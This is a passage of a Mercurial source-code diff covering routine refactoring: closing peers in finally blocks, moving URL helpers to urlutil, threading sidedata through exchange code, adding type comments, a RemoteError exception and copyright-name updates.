+ fm.plain(b" common: %(nb-ini_und-common)9d\n" % data) + fm.plain(b" missing: %(nb-ini_und-missing)9d\n" % data) if ui.verbose: - ui.writenoi18n( + fm.plain( b"common heads: %s\n" % b" ".join(sorted(short(n) for n in heads_common)) ) + fm.end() _chunksize = 4 << 10 @@ -2214,9 +2332,9 @@ b'', b'dump-new', False, - _(b'write a (new) persistent binary nodemap on stdin'), + _(b'write a (new) persistent binary nodemap on stdout'), ), - (b'', b'dump-disk', False, _(b'dump on-disk data on stdin')), + (b'', b'dump-disk', False, _(b'dump on-disk data on stdout')), ( b'', b'check', @@ -2546,12 +2664,17 @@ with ui.configoverride(overrides): peer = hg.peer(ui, {}, path) - local = peer.local() is not None - canpush = peer.canpush() - - ui.write(_(b'url: %s\n') % peer.url()) - ui.write(_(b'local: %s\n') % (_(b'yes') if local else _(b'no'))) - ui.write(_(b'pushable: %s\n') % (_(b'yes') if canpush else _(b'no'))) + try: + local = peer.local() is not None + canpush = peer.canpush() + + ui.write(_(b'url: %s\n') % peer.url()) + ui.write(_(b'local: %s\n') % (_(b'yes') if local else _(b'no'))) + ui.write( + _(b'pushable: %s\n') % (_(b'yes') if canpush else _(b'no')) + ) + finally: + peer.close() @command( @@ -2654,26 +2777,30 @@ """ target = hg.peer(ui, {}, repopath) - if keyinfo: - key, old, new = keyinfo - with target.commandexecutor() as e: - r = e.callcommand( - b'pushkey', - { - b'namespace': namespace, - b'key': key, - b'old': old, - b'new': new, - }, - ).result() - - ui.status(pycompat.bytestr(r) + b'\n') - return not r - else: - for k, v in sorted(pycompat.iteritems(target.listkeys(namespace))): - ui.write( - b"%s\t%s\n" % (stringutil.escapestr(k), stringutil.escapestr(v)) - ) + try: + if keyinfo: + key, old, new = keyinfo + with target.commandexecutor() as e: + r = e.callcommand( + b'pushkey', + { + b'namespace': namespace, + b'key': key, + b'old': old, + b'new': new, + }, + ).result() + + ui.status(pycompat.bytestr(r) + b'\n') + return not r + else: + for k, v in sorted(pycompat.iteritems(target.listkeys(namespace))): + ui.write( + b"%s\t%s\n" + % (stringutil.escapestr(k), stringutil.escapestr(v)) + ) + finally: + target.close() @command(b'debugpvec', [], _(b'A B')) @@ -3527,8 +3654,10 @@ ) source = b"default" - source, branches = hg.parseurl(ui.expandpath(source)) - url = util.url(source) + source, branches = urlutil.get_unique_pull_path( + b'debugssl', repo, ui, source + ) + url = urlutil.url(source) defaultport = {b'https': 443, b'ssh': 22} if url.scheme in defaultport: @@ -3636,8 +3765,14 @@ for backup in backups: # Much of this is copied from the hg incoming logic - source = ui.expandpath(os.path.relpath(backup, encoding.getcwd())) - source, branches = hg.parseurl(source, opts.get(b"branch")) + source = os.path.relpath(backup, encoding.getcwd()) + source, branches = urlutil.get_unique_pull_path( + b'debugbackupbundle', + repo, + ui, + source, + default_branches=opts.get(b'branch'), + ) try: other = hg.peer(repo, opts, source) except error.LookupError as ex: @@ -3719,6 +3854,23 @@ ui.writenoi18n(b' revision %s\n' % v[1]) +@command(b'debugshell', optionalrepo=True) +def debugshell(ui, repo): + """run an interactive Python interpreter + + The local namespace is provided with a reference to the ui and + the repo instance (if available). + """ + import code + + imported_objects = { + 'ui': ui, + 'repo': repo, + } + + code.interact(local=imported_objects) + + @command( b'debugsuccessorssets', [(b'', b'closest', False, _(b'return closest successors sets only'))], @@ -3779,10 +3931,19 @@ def debugtagscache(ui, repo): """display the contents of .hg/cache/hgtagsfnodes1""" cache = tagsmod.hgtagsfnodescache(repo.unfiltered()) + flog = repo.file(b'.hgtags') for r in repo: node = repo[r].node() tagsnode = cache.getfnode(node, computemissing=False) - tagsnodedisplay = hex(tagsnode) if tagsnode else b'missing/invalid' + if tagsnode: + tagsnodedisplay = hex(tagsnode) + if not flog.hasnode(tagsnode): + tagsnodedisplay += b' (unknown node)' + elif tagsnode is None: + tagsnodedisplay = b'missing' + else: + tagsnodedisplay = b'invalid' + ui.write(b'%d %s %s\n' % (r, hex(node), tagsnodedisplay)) @@ -4000,19 +4161,22 @@ def debugwireargs(ui, repopath, *vals, **opts): opts = pycompat.byteskwargs(opts) repo = hg.peer(ui, opts, repopath) - for opt in cmdutil.remoteopts: - del opts[opt[1]] - args = {} - for k, v in pycompat.iteritems(opts): - if v: - args[k] = v - args = pycompat.strkwargs(args) - # run twice to check that we don't mess up the stream for the next command - res1 = repo.debugwireargs(*vals, **args) - res2 = repo.debugwireargs(*vals, **args) - ui.write(b"%s\n" % res1) - if res1 != res2: - ui.warn(b"%s\n" % res2) + try: + for opt in cmdutil.remoteopts: + del opts[opt[1]] + args = {} + for k, v in pycompat.iteritems(opts): + if v: + args[k] = v + args = pycompat.strkwargs(args) + # run twice to check that we don't mess up the stream for the next command + res1 = repo.debugwireargs(*vals, **args) + res2 = repo.debugwireargs(*vals, **args) + ui.write(b"%s\n" % res1) + if res1 != res2: + ui.warn(b"%s\n" % res2) + finally: + repo.close() def _parsewirelangblocks(fh): @@ -4372,7 +4536,7 @@ # We bypass hg.peer() so we can proxy the sockets. # TODO consider not doing this because we skip # ``hg.wirepeersetupfuncs`` and potentially other useful functionality. - u = util.url(path) + u = urlutil.url(path) if u.scheme != b'http': raise error.Abort(_(b'only http:// paths are currently supported')) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/destutil.py --- a/mercurial/destutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/destutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # destutil.py - Mercurial utility function for command destination # -# Copyright Matt Mackall and other +# Copyright Olivia Mackall and other # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/diffhelper.py --- a/mercurial/diffhelper.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/diffhelper.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # diffhelper.py - helper routines for patch # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/dirstate.py --- a/mercurial/dirstate.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/dirstate.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # dirstate.py - working directory tracking for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -73,13 +73,16 @@ @interfaceutil.implementer(intdirstate.idirstate) class dirstate(object): - def __init__(self, opener, ui, root, validate, sparsematchfn): + def __init__( + self, opener, ui, root, validate, sparsematchfn, nodeconstants + ): """Create a new dirstate object. opener is an open()-like callable that can be used to open the dirstate file; root is the root of the directory tracked by the dirstate. """ + self._nodeconstants = nodeconstants self._opener = opener self._validate = validate self._root = root @@ -136,7 +139,9 @@ @propertycache def _map(self): """Return the dirstate contents (see documentation for dirstatemap).""" - self._map = self._mapcls(self._ui, self._opener, self._root) + self._map = self._mapcls( + self._ui, self._opener, self._root, self._nodeconstants + ) return self._map @property @@ -1425,12 +1430,13 @@ denormalized form that they appear as in the dirstate. """ - def __init__(self, ui, opener, root): + def __init__(self, ui, opener, root, nodeconstants): self._ui = ui self._opener = opener self._root = root self._filename = b'dirstate' self._nodelen = 20 + self._nodeconstants = nodeconstants self._parents = None self._dirtyparents = False @@ -1729,7 +1735,8 @@ if rustmod is not None: class dirstatemap(object): - def __init__(self, ui, opener, root): + def __init__(self, ui, opener, root, nodeconstants): + self._nodeconstants = nodeconstants self._ui = ui self._opener = opener self._root = root diff -r bc268ea9f984 -r f67b8946bb1b mercurial/dirstateguard.py --- a/mercurial/dirstateguard.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/dirstateguard.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # dirstateguard.py - class to allow restoring dirstate after failure # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/discovery.py --- a/mercurial/discovery.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/discovery.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # discovery.py - protocol changeset discovery functions # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -270,9 +270,12 @@ # C. Update newmap with outgoing changes. # This will possibly add new heads and remove existing ones. newmap = branchmap.remotebranchcache( - (branch, heads[1]) - for branch, heads in pycompat.iteritems(headssum) - if heads[0] is not None + repo, + ( + (branch, heads[1]) + for branch, heads in pycompat.iteritems(headssum) + if heads[0] is not None + ), ) newmap.update(repo, (ctx.rev() for ctx in missingctx)) for branch, newheads in pycompat.iteritems(newmap): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/dispatch.py --- a/mercurial/dispatch.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/dispatch.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # dispatch.py - command dispatching for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -50,6 +50,7 @@ from .utils import ( procutil, stringutil, + urlutil, ) @@ -990,7 +991,7 @@ lui.readconfig(os.path.join(path, b".hg", b"hgrc-not-shared"), path) if rpath: - path = lui.expandpath(rpath) + path = urlutil.get_clone_path(lui, rpath)[0] lui = ui.copy() if rcutil.use_repo_hgrc(): _readsharedsourceconfig(lui, path) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/encoding.py --- a/mercurial/encoding.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/encoding.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # encoding.py - character transcoding support for Mercurial # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/error.py --- a/mercurial/error.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/error.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # error.py - Mercurial exceptions # -# Copyright 2005-2008 Matt Mackall +# Copyright 2005-2008 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -20,7 +20,13 @@ if pycompat.TYPE_CHECKING: from typing import ( + Any, + AnyStr, + Iterable, + List, Optional, + Sequence, + Union, ) @@ -60,6 +66,7 @@ class SidedataHashError(RevlogError): def __init__(self, key, expected, got): + self.hint = None self.sidedatakey = key self.expecteddigest = expected self.actualdigest = got @@ -77,9 +84,9 @@ # Python 2.6+ complain about the 'message' property being deprecated self.lookupmessage = message if isinstance(name, bytes) and len(name) == 20: - from .node import short + from .node import hex - name = short(name) + name = hex(name) # if name is a binary node, it can be None RevlogError.__init__( self, b'%s@%s: %s' % (index, pycompat.bytestr(name), message) @@ -108,6 +115,7 @@ """Exception raised on errors in parsing the command line.""" def __init__(self, command, message): + # type: (bytes, bytes) -> None self.command = command self.message = message super(CommandError, self).__init__() @@ -119,6 +127,7 @@ """Exception raised if command is not in the command table.""" def __init__(self, command, all_commands=None): + # type: (bytes, Optional[List[bytes]]) -> None self.command = command self.all_commands = all_commands super(UnknownCommand, self).__init__() @@ -130,6 +139,7 @@ """Exception raised if command shortcut matches more than one command.""" def __init__(self, prefix, matches): + # type: (bytes, List[bytes]) -> None self.prefix = prefix self.matches = matches super(AmbiguousCommand, self).__init__() @@ -141,6 +151,7 @@ """Exception raised when a worker process dies.""" def __init__(self, status_code): + # type: (int) -> None self.status_code = status_code # Pass status code to superclass just so it becomes part of __bytes__ super(WorkerError, self).__init__(status_code) @@ -158,6 +169,7 @@ """Exception raised when a continuable command required merge conflict resolution.""" def __init__(self, opname): + # type: (bytes) -> None from .i18n import _ self.opname = opname @@ -193,6 +205,7 @@ return pycompat.sysstr(self.__bytes__()) def format(self): + # type: () -> bytes from .i18n import _ message = _(b"abort: %s\n") % self.message @@ -246,10 +259,12 @@ """Exception raised when parsing config files""" def __init__(self, message, location=None, hint=None): + # type: (bytes, Optional[bytes], Optional[bytes]) -> None super(ConfigError, self).__init__(message, hint=hint) self.location = location def format(self): + # type: () -> bytes from .i18n import _ if self.location is not None: @@ -289,20 +304,34 @@ Abort.__init__(self, _(b'response expected')) -class OutOfBandError(Hint, Exception): +class RemoteError(Abort): + """Exception raised when interacting with a remote repo fails""" + + +class OutOfBandError(RemoteError): """Exception raised when a remote repo reports failure""" - __bytes__ = _tobytes + def __init__(self, message=None, hint=None): + from .i18n import _ + + if message: + # Abort.format() adds a trailing newline + message = _(b"remote error:\n%s") % message.rstrip(b'\n') + else: + message = _(b"remote error") + super(OutOfBandError, self).__init__(message, hint=hint) class ParseError(Abort): """Raised when parsing config files and {rev,file}sets (msg[, pos])""" def __init__(self, message, location=None, hint=None): + # type: (bytes, Optional[Union[bytes, int]], Optional[bytes]) -> None super(ParseError, self).__init__(message, hint=hint) self.location = location def format(self): + # type: () -> bytes from .i18n import _ if self.location is not None: @@ -322,6 +351,7 @@ def getsimilar(symbols, value): + # type: (Iterable[bytes], bytes) -> List[bytes] sim = lambda x: difflib.SequenceMatcher(None, value, x).ratio() # The cutoff for similarity here is pretty arbitrary. It should # probably be investigated and tweaked. @@ -329,6 +359,7 @@ def similarity_hint(similar): + # type: (List[bytes]) -> Optional[bytes] from .i18n import _ if len(similar) == 1: @@ -344,6 +375,7 @@ """Exception raised when a {rev,file}set references an unknown identifier""" def __init__(self, function, symbols): + # type: (bytes, Iterable[bytes]) -> None from .i18n import _ similar = getsimilar(symbols, function) @@ -378,6 +410,7 @@ """Raised if I/O to stdout or stderr fails""" def __init__(self, err): + # type: (IOError) -> None IOError.__init__(self, err.errno, err.strerror) # no __bytes__() because error message is derived from the standard IOError @@ -385,6 +418,7 @@ class UnsupportedMergeRecords(Abort): def __init__(self, recordtypes): + # type: (Iterable[bytes]) -> None from .i18n import _ self.recordtypes = sorted(recordtypes) @@ -403,12 +437,15 @@ """generic exception for aborting from an encounter with an unknown version""" def __init__(self, msg, hint=None, version=None): + # type: (bytes, Optional[bytes], Optional[bytes]) -> None self.version = version super(UnknownVersion, self).__init__(msg, hint=hint) class LockError(IOError): def __init__(self, errno, strerror, filename, desc): + # TODO: figure out if this should be bytes or str + # _type: (int, str, str, bytes) -> None IOError.__init__(self, errno, strerror, filename) self.desc = desc @@ -455,6 +492,7 @@ """Raised if a mercurial (core or extension) developer made a mistake""" def __init__(self, msg, *args, **kwargs): + # type: (AnyStr, Any, Any) -> None # On Python 3, turn the message back into a string since this is # an internal-only error that won't be printed except in a # stack traces. @@ -498,7 +536,7 @@ entries.append(b"%s=%r" % (par, pycompat.maybebytestr(val))) if entries: msg = b'%s - %s' % (msg, b', '.join(entries)) - ValueError.__init__(self, msg) + ValueError.__init__(self, msg) # TODO: convert to str? class ReadOnlyPartError(RuntimeError): @@ -532,6 +570,7 @@ """ def __init__(self, filename, node, tombstone): + # type: (bytes, bytes, bytes) -> None from .node import short StorageError.__init__(self, b'%s:%s' % (filename, short(node))) @@ -587,5 +626,6 @@ """ def __init__(self, message, args=None): + # type: (bytes, Optional[Sequence[bytes]]) -> None self.message = message self.messageargs = args diff -r bc268ea9f984 -r f67b8946bb1b mercurial/exchange.py --- a/mercurial/exchange.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/exchange.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # exchange.py - utility to exchange data between repos. # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -42,6 +42,7 @@ from .utils import ( hashutil, stringutil, + urlutil, ) urlerr = util.urlerr @@ -420,7 +421,20 @@ b'unbundle wire protocol command' ) ) - + for category in sorted(bundle2.read_remote_wanted_sidedata(pushop.remote)): + # Check that a computer is registered for that category for at least + # one revlog kind. + for kind, computers in repo._sidedata_computers.items(): + if computers.get(category): + break + else: + raise error.Abort( + _( + b'cannot push: required sidedata category not supported' + b" by this client: '%s'" + ) + % pycompat.bytestr(category) + ) # get lock as we might write phase data wlock = lock = None try: @@ -814,7 +828,7 @@ data = [] for book, old, new in pushop.outbookmarks: data.append((book, old)) - checkdata = bookmod.binaryencode(data) + checkdata = bookmod.binaryencode(pushop.repo, data) bundler.newpart(b'check:bookmarks', data=checkdata) @@ -865,8 +879,15 @@ if not cgversions: raise error.Abort(_(b'no common changegroup version')) version = max(cgversions) + + remote_sidedata = bundle2.read_remote_wanted_sidedata(pushop.remote) cgstream = changegroup.makestream( - pushop.repo, pushop.outgoing, version, b'push' + pushop.repo, + pushop.outgoing, + version, + b'push', + bundlecaps=b2caps, + remote_sidedata=remote_sidedata, ) cgpart = bundler.newpart(b'changegroup', data=cgstream) if cgversions: @@ -1007,7 +1028,7 @@ _abortonsecretctx(pushop, new, book) data.append((book, new)) allactions.append((book, _bmaction(old, new))) - checkdata = bookmod.binaryencode(data) + checkdata = bookmod.binaryencode(pushop.repo, data) bundler.newpart(b'bookmarks', data=checkdata) def handlereply(op): @@ -1126,19 +1147,19 @@ }, ).result() except error.BundleValueError as exc: - raise error.Abort(_(b'missing support for %s') % exc) + raise error.RemoteError(_(b'missing support for %s') % exc) try: trgetter = None if pushback: trgetter = pushop.trmanager.transaction op = bundle2.processbundle(pushop.repo, reply, trgetter) except error.BundleValueError as exc: - raise error.Abort(_(b'missing support for %s') % exc) + raise error.RemoteError(_(b'missing support for %s') % exc) except bundle2.AbortFromPart as exc: - pushop.ui.status(_(b'remote: %s\n') % exc) + pushop.ui.error(_(b'remote: %s\n') % exc) if exc.hint is not None: - pushop.ui.status(_(b'remote: %s\n') % (b'(%s)' % exc.hint)) - raise error.Abort(_(b'push failed on remote')) + pushop.ui.error(_(b'remote: %s\n') % (b'(%s)' % exc.hint)) + raise error.RemoteError(_(b'push failed on remote')) except error.PushkeyFailed as exc: partid = int(exc.partid) if partid not in pushop.pkfailcb: @@ -1445,7 +1466,7 @@ def transaction(self): """Return an open transaction object, constructing if necessary""" if not self._tr: - trname = b'%s\n%s' % (self.source, util.hidepassword(self.url)) + trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url)) self._tr = self.repo.transaction(trname) self._tr.hookargs[b'source'] = self.source self._tr.hookargs[b'url'] = self.url @@ -1607,6 +1628,23 @@ ) % (b', '.join(sorted(missing))) raise error.Abort(msg) + for category in repo._wanted_sidedata: + # Check that a computer is registered for that category for at least + # one revlog kind. + for kind, computers in repo._sidedata_computers.items(): + if computers.get(category): + break + else: + # This should never happen since repos are supposed to be able to + # generate the sidedata they require. + raise error.ProgrammingError( + _( + b'sidedata category requested by local side without local' + b"support: '%s'" + ) + % pycompat.bytestr(category) + ) + pullop.trmanager = transactionmanager(repo, b'pull', remote.url()) wlock = util.nullcontextmanager() if not bookmod.bookmarksinstore(repo): @@ -1820,6 +1858,10 @@ pullop.stepsdone.add(b'obsmarkers') _pullbundle2extraprepare(pullop, kwargs) + remote_sidedata = bundle2.read_remote_wanted_sidedata(pullop.remote) + if remote_sidedata: + kwargs[b'remote_sidedata'] = remote_sidedata + with pullop.remote.commandexecutor() as e: args = dict(kwargs) args[b'source'] = b'pull' @@ -1832,10 +1874,10 @@ op.modes[b'bookmarks'] = b'records' bundle2.processbundle(pullop.repo, bundle, op=op) except bundle2.AbortFromPart as exc: - pullop.repo.ui.status(_(b'remote: abort: %s\n') % exc) - raise error.Abort(_(b'pull failed on remote'), hint=exc.hint) + pullop.repo.ui.error(_(b'remote: abort: %s\n') % exc) + raise error.RemoteError(_(b'pull failed on remote'), hint=exc.hint) except error.BundleValueError as exc: - raise error.Abort(_(b'missing support for %s') % exc) + raise error.RemoteError(_(b'missing support for %s') % exc) if pullop.fetch: pullop.cgresult = bundle2.combinechangegroupresults(op) @@ -2249,7 +2291,13 @@ def getbundlechunks( - repo, source, heads=None, common=None, bundlecaps=None, **kwargs + repo, + source, + heads=None, + common=None, + bundlecaps=None, + remote_sidedata=None, + **kwargs ): """Return chunks constituting a bundle's raw data. @@ -2279,7 +2327,12 @@ return ( info, changegroup.makestream( - repo, outgoing, b'01', source, bundlecaps=bundlecaps + repo, + outgoing, + b'01', + source, + bundlecaps=bundlecaps, + remote_sidedata=remote_sidedata, ), ) @@ -2303,6 +2356,7 @@ source, bundlecaps=bundlecaps, b2caps=b2caps, + remote_sidedata=remote_sidedata, **pycompat.strkwargs(kwargs) ) @@ -2325,6 +2379,7 @@ b2caps=None, heads=None, common=None, + remote_sidedata=None, **kwargs ): """add a changegroup part to the requested bundle""" @@ -2355,7 +2410,13 @@ matcher = None cgstream = changegroup.makestream( - repo, outgoing, version, source, bundlecaps=bundlecaps, matcher=matcher + repo, + outgoing, + version, + source, + bundlecaps=bundlecaps, + matcher=matcher, + remote_sidedata=remote_sidedata, ) part = bundler.newpart(b'changegroup', data=cgstream) @@ -2369,6 +2430,8 @@ if b'exp-sidedata-flag' in repo.requirements: part.addparam(b'exp-sidedata', b'1') + sidedata = bundle2.format_remote_wanted_sidedata(repo) + part.addparam(b'exp-wanted-sidedata', sidedata) if ( kwargs.get('narrow', False) @@ -2393,7 +2456,7 @@ if not b2caps or b'bookmarks' not in b2caps: raise error.Abort(_(b'no common bookmarks exchange method')) books = bookmod.listbinbookmarks(repo) - data = bookmod.binaryencode(books) + data = bookmod.binaryencode(repo, books) if data: bundler.newpart(b'bookmarks', data=data) @@ -2585,7 +2648,7 @@ # push can proceed if not isinstance(cg, bundle2.unbundle20): # legacy case: bundle1 (changegroup 01) - txnname = b"\n".join([source, util.hidepassword(url)]) + txnname = b"\n".join([source, urlutil.hidepassword(url)]) with repo.lock(), repo.transaction(txnname) as tr: op = bundle2.applybundle(repo, cg, tr, source, url) r = bundle2.combinechangegroupresults(op) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/exchangev2.py --- a/mercurial/exchangev2.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/exchangev2.py Tue Apr 20 11:01:06 2021 -0400 @@ -22,6 +22,7 @@ narrowspec, phases, pycompat, + requirements as requirementsmod, setdiscovery, ) from .interfaces import repository @@ -183,7 +184,7 @@ # TODO This is super hacky. There needs to be a storage API for this. We # also need to check for compatibility with the remote. - if b'revlogv1' not in repo.requirements: + if requirementsmod.REVLOGV1_REQUIREMENT not in repo.requirements: return False return True @@ -358,18 +359,20 @@ # Linkrev for changelog is always self. return len(cl) - def ondupchangeset(cl, node): - added.append(node) + def ondupchangeset(cl, rev): + added.append(cl.node(rev)) - def onchangeset(cl, node): + def onchangeset(cl, rev): progress.increment() - revision = cl.changelogrevision(node) - added.append(node) + revision = cl.changelogrevision(rev) + added.append(cl.node(rev)) # We need to preserve the mapping of changelog revision to node # so we can set the linkrev accordingly when manifests are added. - manifestnodes[cl.rev(node)] = revision.manifest + manifestnodes[rev] = revision.manifest + + repo.register_changeset(rev, revision) nodesbyphase = {phase: set() for phase in phases.phasenames.values()} remotebookmarks = {} @@ -414,12 +417,15 @@ mdiff.trivialdiffheader(len(data)) + data, # Flags not yet supported. 0, + # Sidedata not yet supported + {}, ) cl.addgroup( iterrevisions(), linkrev, weakref.proxy(tr), + alwayscache=True, addrevisioncb=onchangeset, duplicaterevisioncb=ondupchangeset, ) @@ -492,6 +498,8 @@ delta, # Flags not yet supported. 0, + # Sidedata not yet supported. + {}, ) progress.increment() @@ -533,8 +541,8 @@ # Chomp off header object. next(objs) - def onchangeset(cl, node): - added.append(node) + def onchangeset(cl, rev): + added.append(cl.node(rev)) rootmanifest.addgroup( iterrevisions(objs, progress), @@ -617,6 +625,8 @@ delta, # Flags not yet supported. 0, + # Sidedata not yet supported. + {}, ) progress.increment() @@ -715,6 +725,8 @@ delta, # Flags not yet supported. 0, + # Sidedata not yet supported. + {}, ) progress.increment() diff -r bc268ea9f984 -r f67b8946bb1b mercurial/extensions.py --- a/mercurial/extensions.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/extensions.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # extensions.py - extension handling for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/exthelper.py --- a/mercurial/exthelper.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/exthelper.py Tue Apr 20 11:01:06 2021 -0400 @@ -46,13 +46,22 @@ # ext.py eh = exthelper.exthelper() - # As needed: + # As needed (failure to do this will mean your registration will not + # happen): cmdtable = eh.cmdtable configtable = eh.configtable filesetpredicate = eh.filesetpredicate revsetpredicate = eh.revsetpredicate templatekeyword = eh.templatekeyword + # As needed (failure to do this will mean your eh.wrap*-decorated + # functions will not wrap, and/or your eh.*setup-decorated functions + # will not execute): + uisetup = eh.finaluisetup + extsetup = eh.finalextsetup + reposetup = eh.finalreposetup + uipopulate = eh.finaluipopulate + @eh.command(b'mynewcommand', [(b'r', b'rev', [], _(b'operate on these revisions'))], _(b'-r REV...'), @@ -155,7 +164,7 @@ c(ui) def finalextsetup(self, ui): - """Method to be used as a the extension extsetup + """Method to be used as the extension extsetup The following operations belong here: @@ -201,6 +210,9 @@ example:: + # Required, otherwise your uisetup function(s) will not execute. + uisetup = eh.finaluisetup + @eh.uisetup def setupbabar(ui): print('this is uisetup!') @@ -213,6 +225,9 @@ example:: + # Required, otherwise your uipopulate function(s) will not execute. + uipopulate = eh.finaluipopulate + @eh.uipopulate def setupfoo(ui): print('this is uipopulate!') @@ -225,6 +240,9 @@ example:: + # Required, otherwise your extsetup function(s) will not execute. + extsetup = eh.finalextsetup + @eh.extsetup def setupcelestine(ui): print('this is extsetup!') @@ -237,6 +255,9 @@ example:: + # Required, otherwise your reposetup function(s) will not execute. + reposetup = eh.finalreposetup + @eh.reposetup def setupzephir(ui, repo): print('this is reposetup!') @@ -258,6 +279,11 @@ example:: + # Required if `extension` is not provided + uisetup = eh.finaluisetup + # Required if `extension` is provided + extsetup = eh.finalextsetup + @eh.wrapcommand(b'summary') def wrapsummary(orig, ui, repo, *args, **kwargs): ui.note(b'Barry!') @@ -298,8 +324,11 @@ example:: - @eh.function(discovery, b'checkheads') - def wrapfunction(orig, *args, **kwargs): + # Required, otherwise the function will not be wrapped + uisetup = eh.finaluisetup + + @eh.wrapfunction(discovery, b'checkheads') + def wrapcheckheads(orig, *args, **kwargs): ui.note(b'His head smashed in and his heart cut out') return orig(*args, **kwargs) """ diff -r bc268ea9f984 -r f67b8946bb1b mercurial/fancyopts.py --- a/mercurial/fancyopts.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/fancyopts.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # fancyopts.py - better command line parsing # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/filelog.py --- a/mercurial/filelog.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/filelog.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # filelog.py - file history class for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -32,6 +32,8 @@ # Full name of the user visible file, relative to the repository root. # Used by LFS. self._revlog.filename = path + self._revlog.revlog_kind = b'filelog' + self.nullid = self._revlog.nullid def __len__(self): return len(self._revlog) @@ -102,6 +104,7 @@ revisiondata=False, assumehaveparentrevisions=False, deltamode=repository.CG_DELTAMODE_STD, + sidedata_helpers=None, ): return self._revlog.emitrevisions( nodes, @@ -109,6 +112,7 @@ revisiondata=revisiondata, assumehaveparentrevisions=assumehaveparentrevisions, deltamode=deltamode, + sidedata_helpers=sidedata_helpers, ) def addrevision( @@ -176,7 +180,8 @@ def add(self, text, meta, transaction, link, p1=None, p2=None): if meta or text.startswith(b'\1\n'): text = storageutil.packmeta(meta, text) - return self.addrevision(text, transaction, link, p1, p2) + rev = self.addrevision(text, transaction, link, p1, p2) + return self.node(rev) def renamed(self, node): return storageutil.filerevisioncopied(self, node) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/filemerge.py --- a/mercurial/filemerge.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/filemerge.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # filemerge.py - file-level merge handling for Mercurial # -# Copyright 2006, 2007, 2008 Matt Mackall +# Copyright 2006, 2007, 2008 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -538,6 +538,25 @@ @internaltool( + b'merge3-lie-about-conflicts', + fullmerge, + b'', + precheck=_mergecheck, +) +def _imerge3alwaysgood(*args, **kwargs): + # Like merge3, but record conflicts as resolved with markers in place. + # + # This is used for `diff.merge` to show the differences between + # the auto-merge state and the committed merge state. It may be + # useful for other things. + b1, junk, b2 = _imerge3(*args, **kwargs) + # TODO is this right? I'm not sure what these return values mean, + # but as far as I can tell this will indicate to callers tha the + # merge succeeded. + return b1, False, b2 + + +@internaltool( b'mergediff', fullmerge, _( @@ -1195,7 +1214,11 @@ def 